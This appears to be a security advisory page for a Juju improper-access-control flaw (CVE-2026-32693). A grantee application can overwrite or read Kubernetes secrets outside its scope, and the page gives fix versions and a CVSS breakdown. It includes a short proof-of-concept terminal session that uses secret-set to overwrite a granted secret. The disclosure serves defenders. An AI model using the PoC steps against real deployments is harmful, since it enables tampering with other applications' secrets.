Skip to content

GHSA-439w-v2p7-pggc CVE-2026-32693 GO-2026-4777

Juju has unauthorized access to out-of-scope Kubernetes secrets

High Go
Severity
8.8 / 10
High · CVSS 3.1
Exploit chance (EPSS)
0.31%
Chance of exploitation in the next 30 days. Higher than 24.40% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-284 Improper Access Control
Fix
0.0.0-20260319091847-d06919eb03ec
Upgrade github.com/juju/juju to this version or later

Description

Summary

Grantee is able to update secret content using the secret-set tool due to broad Kubernetes access policy. Implications are that it is possible, knowing a Kubernetes secret identifier (e.g. name), to patch without affecting the secret, revealing the value, or, patching while affecting the secrets value.

Details

When a Juju secret is "granted" to an app, that app should be able to read the secret content but not modify it, and should be able to only read secrets that have been granted to it.

Authorization of the secret-set hook tool / controller request is not performed correctly, which allows the grantee to update the secret content and to read or affect other secrets.

PoC

Tested:

  • two applications in the same controller, same model: one owns the secret, another get a grant
  • relation between them
  • secret grant
  • Linux AMD64, Canonical K8s, Juju 3.6.8 controller, Juju 3.6.9 CLI

Not tested:

  • admin (user) secrets
  • cross-model relations
  • cross-controller relations
⋊> dima@bb ⋊> /c/hexanator on main ◦ juju exec --unit ingress2/0 "secret-add nice=little-value"
secret://9cf1319c-4f4b-44f8-891b-9d1c7d8d3b52/d350nbnmp25c76301ht0
⋊> dima@bb ⋊> /c/hexanator on main ◦ juju show-unit ingress2/0
ingress2/0:
  workload-version: 24.2.0
  opened-ports: []
  charm: ch:amd64/nginx-ingress-integrator-203
  leader: true
  life: alive
  relation-info:
  - relation-id: 11
    endpoint: ingress
    related-endpoint: ingress
    application-data: {}
    related-units:
      evilator/0:
        in-scope: true
        data:
          egress-subnets: 10.152.183.39/32
          ingress-address: 10.152.183.39
          private-address: 10.152.183.39
  - relation-id: 10
    endpoint: nginx-peers
    related-endpoint: nginx-peers
    application-data: {}
    local-unit:
      in-scope: true
      data:
        egress-subnets: 10.152.183.135/32
        ingress-address: 10.152.183.135
        private-address: 10.152.183.135
  provider-id: ingress2-0
  address: 10.1.0.100
⋊> dima@bb ⋊> /c/hexanator on main ◦ juju exec --unit ingress2/0 "secret-grant d350nbnmp25c76301ht0 --relation 11" 
⋊> dima@bb ⋊> /c/hexanator on main ◦ juju exec --unit evilator/0 "secret-set d350nbnmp25c76301ht0 nice=who-is-nice-now" 
updating secrets: permission denied
⋊> dima@bb ⋊> /c/hexanator on main ◦ juju exec --unit ingress2/0 "secret-get d350nbnmp25c76301ht0" 
nice: who-is-nice-now

When the grantee attempts to update the the granted secret:

  • secret-set command logs an error, though returns OK return status
  • the secret value is updated
  • new secret revision is not created
  • new value is visible to both owner and grantee

Impact

  • the application that owns the secret
  • a third application, if a secret is granted to multiple parties
  • any other application that has secrets in the same Kubernetes secret backend

Affected versions

Go

PackageVulnerableFixed in
github.com/juju/juju
>= 0.0.0-20221021155847-35c560704ee2, < 0.0.0-20260319091847-d06919eb03ec
0.0.0-20260319091847-d06919eb03ec

How to fix

Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.

github.com/juju/juju Go → 0.0.0-20260319091847-d06919eb03ec

go
go get github.com/juju/juju@v0.0.0-20260319091847-d06919eb03ec && go mod tidy

Severity breakdown

CVSS 3.1 8.8

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

Weakness

CWE-284: Improper Access Control

The product does not restrict or incorrectly restricts access to a resource from an unauthorized actor.

How to prevent it
  • Architecture and Design, Operation: Very carefully manage the setting, management, and handling of privileges. Explicitly manage trust zones in the software.
  • Architecture and Design: Compartmentalize the system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area. Ensure that appropriate compartmentalization is built into the system design, and the compartmentalization allows for and reinforces privilege separation functionality. Architects and designers should rely on the principle of least privilege to decide the appropriate time to use privileges and the time to drop privileges.

References

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
AdvisorySeverityWhy it's related
GHSA-7m55-2hr4-pw78
Juju: In-Memory Token Store for Discharge Tokens Lacks Concurrency Safety and Persistence
Medium Also affects github.com/juju/juju
GHSA-w5fq-8965-c969
Juju: CloudSpec method leaking cloud credentials
Medium Also affects github.com/juju/juju
GHSA-245v-p8fj-vwm2
Juju has a resource poisoning vulnerability
Medium Also affects github.com/juju/juju
GHSA-j6f6-jp3p-53mw
Juju: Read All Controller Logs From Compromised Workload
Medium Also affects github.com/juju/juju
GHSA-gvrj-cjch-728p
Juju has Improper TLS Client/Server authentication and certificate verification on Database Cluster
Critical Also affects github.com/juju/juju
GHSA-5cj2-rqqf-hx9p
Juju affected by Confused Deputy IDOR attack via Predictable user specified ID in Juju Secrets
Medium Also affects github.com/juju/juju
GHSA-89x7-5m5m-mcmm
Juju has unauthorized update of out-of-scope Vault secrets
Medium Also affects github.com/juju/juju
GHSA-gfgr-6hrj-85ww
Juju affected by timing ownership claim attack on new external back-end secrets
Medium Also affects github.com/juju/juju
Is this in your code?

MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.

Check your repos with MergeHarbor